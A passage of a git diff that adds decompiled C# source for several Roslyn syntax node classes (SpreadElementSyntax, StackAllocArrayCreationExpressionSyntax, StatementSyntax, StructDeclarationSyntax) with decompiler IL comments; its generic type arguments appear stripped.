!= 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref pattern, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)pattern; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSlicePattern(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSlicePattern(this); + } + + public SlicePatternSyntax Update(SyntaxToken dotDotToken, PatternSyntax? pattern) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (dotDotToken != DotDotToken || pattern != Pattern) + { + SlicePatternSyntax slicePatternSyntax = SyntaxFactory.SlicePattern(dotDotToken, pattern); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return slicePatternSyntax; + } + return slicePatternSyntax.WithAnnotations(annotations); + } + return this; + } + + public SlicePatternSyntax WithDotDotToken(SyntaxToken dotDotToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(dotDotToken, Pattern); + } + + public SlicePatternSyntax WithPattern(PatternSyntax? pattern) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(DotDotToken, pattern); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SpreadElementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SpreadElementSyntax.cs new file mode 100644 index 0000000..ddff9f2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SpreadElementSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class SpreadElementSyntax : CollectionElementSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SpreadElementSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + internal SpreadElementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitSpreadElement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitSpreadElement(this); + } + + public SpreadElementSyntax Update(SyntaxToken operatorToken, ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (operatorToken != OperatorToken || expression != Expression) + { + SpreadElementSyntax spreadElementSyntax = SyntaxFactory.SpreadElement(operatorToken, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return spreadElementSyntax; + } + return spreadElementSyntax.WithAnnotations(annotations); + } + return this; + } + + public SpreadElementSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(operatorToken, Expression); + } + + public SpreadElementSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(OperatorToken, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StackAllocArrayCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StackAllocArrayCreationExpressionSyntax.cs new file mode 100644 index 0000000..3ad5d29 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StackAllocArrayCreationExpressionSyntax.cs @@ -0,0 +1,93 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class StackAllocArrayCreationExpressionSyntax : ExpressionSyntax +{ + private TypeSyntax? type; + + private InitializerExpressionSyntax? initializer; + + public SyntaxToken StackAllocKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StackAllocArrayCreationExpressionSyntax)(object)((SyntaxNode)this).Green).stackAllocKeyword, ((SyntaxNode)this).Position, 0); + + public TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 1); + + public InitializerExpressionSyntax? Initializer => ((SyntaxNode)this).GetRed(ref initializer, 2); + + public StackAllocArrayCreationExpressionSyntax Update(SyntaxToken stackAllocKeyword, TypeSyntax type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(stackAllocKeyword, type, Initializer); + } + + internal StackAllocArrayCreationExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref type, 1), + 2 => ((SyntaxNode)this).GetRed(ref initializer, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => type, + 2 => initializer, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitStackAllocArrayCreationExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitStackAllocArrayCreationExpression(this); + } + + public StackAllocArrayCreationExpressionSyntax Update(SyntaxToken stackAllocKeyword, TypeSyntax type, InitializerExpressionSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (stackAllocKeyword != StackAllocKeyword || type != Type || initializer != Initializer) + { + StackAllocArrayCreationExpressionSyntax stackAllocArrayCreationExpressionSyntax = SyntaxFactory.StackAllocArrayCreationExpression(stackAllocKeyword, type, initializer); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return stackAllocArrayCreationExpressionSyntax; + } + return stackAllocArrayCreationExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public StackAllocArrayCreationExpressionSyntax WithStackAllocKeyword(SyntaxToken stackAllocKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(stackAllocKeyword, Type, Initializer); + } + + public StackAllocArrayCreationExpressionSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(StackAllocKeyword, type, Initializer); + } + + public StackAllocArrayCreationExpressionSyntax WithInitializer(InitializerExpressionSyntax? initializer) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(StackAllocKeyword, Type, initializer); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StatementSyntax.cs new file mode 100644 index 0000000..a79a55e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StatementSyntax.cs @@ -0,0 +1,28 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class StatementSyntax : CSharpSyntaxNode +{ + public abstract SyntaxList AttributeLists { get; } + + internal StatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + public StatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeListsCore(attributeLists); + } + + internal abstract StatementSyntax WithAttributeListsCore(SyntaxList attributeLists); + + public StatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + return AddAttributeListsCore(items); + } + + internal abstract StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StructDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StructDeclarationSyntax.cs new file mode 100644 index 0000000..f416930 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/StructDeclarationSyntax.cs @@ -0,0 +1,536 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class StructDeclarationSyntax : TypeDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeParameterListSyntax? typeParameterList; + + private ParameterListSyntax? parameterList; + + private BaseListSyntax? baseList; + + private SyntaxNode? constraintClauses; + + private SyntaxNode? members; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StructDeclarationSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StructDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override TypeParameterListSyntax? TypeParameterList => ((SyntaxNode)this).GetRed(ref typeParameterList, 4); + + public override ParameterListSyntax? ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 5); + + public override BaseListSyntax? BaseList => ((SyntaxNode)this).GetRed(ref baseList, 6); + + public override SyntaxList ConstraintClauses => new SyntaxList(((SyntaxNode)this).GetRed(ref constraintClauses, 7)); + + public override SyntaxToken OpenBraceToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openBraceToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StructDeclarationSyntax)(object)((SyntaxNode)this).Green).openBraceToken; + if (openBraceToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)openBraceToken, ((SyntaxNode)this).GetChildPosition(8), ((SyntaxNode)this).GetChildIndex(8)); + } + } + + public override SyntaxList Members => new SyntaxList(((SyntaxNode)this).GetRed(ref members, 9)); + + public override SyntaxToken CloseBraceToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken closeBraceToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StructDeclarationSyntax)(object)((SyntaxNode)this).Green).closeBraceToken; + if (closeBraceToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)closeBraceToken, ((SyntaxNode)this).GetChildPosition(10), ((SyntaxNode)this).GetChildIndex(10)); + } + } + + public override SyntaxToken SemicolonToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StructDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(11), ((SyntaxNode)this).GetChildIndex(11)); + } + } + + public StructDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, keyword, identifier, typeParameterList, ParameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + } + + internal StructDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 4 => ((SyntaxNode)this).GetRed(ref typeParameterList, 4), + 5 => ((SyntaxNode)this).GetRed(ref parameterList, 5), + 6 => ((SyntaxNode)this).GetRed(ref baseList, 6), + 7 => ((SyntaxNode)this).GetRed(ref constraintClauses, 7), + 9 => ((SyntaxNode)this).GetRed(ref members, 9), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 4 => typeParameterList, + 5 => parameterList, + 6 => baseList, + 7 => constraintClauses, + 9 => members, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitStructDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitStructDeclaration(this); + } + + public StructDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || keyword != Keyword || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || baseList != BaseList || constraintClauses != ConstraintClauses || openBraceToken != OpenBraceToken || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + StructDeclarationSyntax structDeclarationSyntax = SyntaxFactory.StructDeclaration(attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return structDeclarationSyntax; + } + return structDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new StructDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new StructDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithKeywordCore(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithKeyword(keyword); + } + + public new StructDeclarationSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithIdentifierCore(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithIdentifier(identifier); + } + + public new StructDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithTypeParameterListCore(TypeParameterListSyntax? typeParameterList) + { + return WithTypeParameterList(typeParameterList); + } + + public new StructDeclarationSyntax WithTypeParameterList(TypeParameterListSyntax? typeParameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, typeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithParameterListCore(ParameterListSyntax? parameterList) + { + return WithParameterList(parameterList); + } + + public new StructDeclarationSyntax WithParameterList(ParameterListSyntax? parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, parameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithBaseListCore(BaseListSyntax? baseList) + { + return WithBaseList(baseList); + } + + public new StructDeclarationSyntax WithBaseList(BaseListSyntax? baseList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, baseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithConstraintClausesCore(SyntaxList constraintClauses) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(constraintClauses); + } + + public new StructDeclarationSyntax WithConstraintClauses(SyntaxList constraintClauses) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, constraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithOpenBraceTokenCore(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithOpenBraceToken(openBraceToken); + } + + public new StructDeclarationSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, openBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithMembersCore(SyntaxList members) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(members); + } + + public new StructDeclarationSyntax WithMembers(SyntaxList members) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithCloseBraceTokenCore(SyntaxToken closeBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithCloseBraceToken(closeBraceToken); + } + + public new StructDeclarationSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, closeBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new StructDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new StructDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: 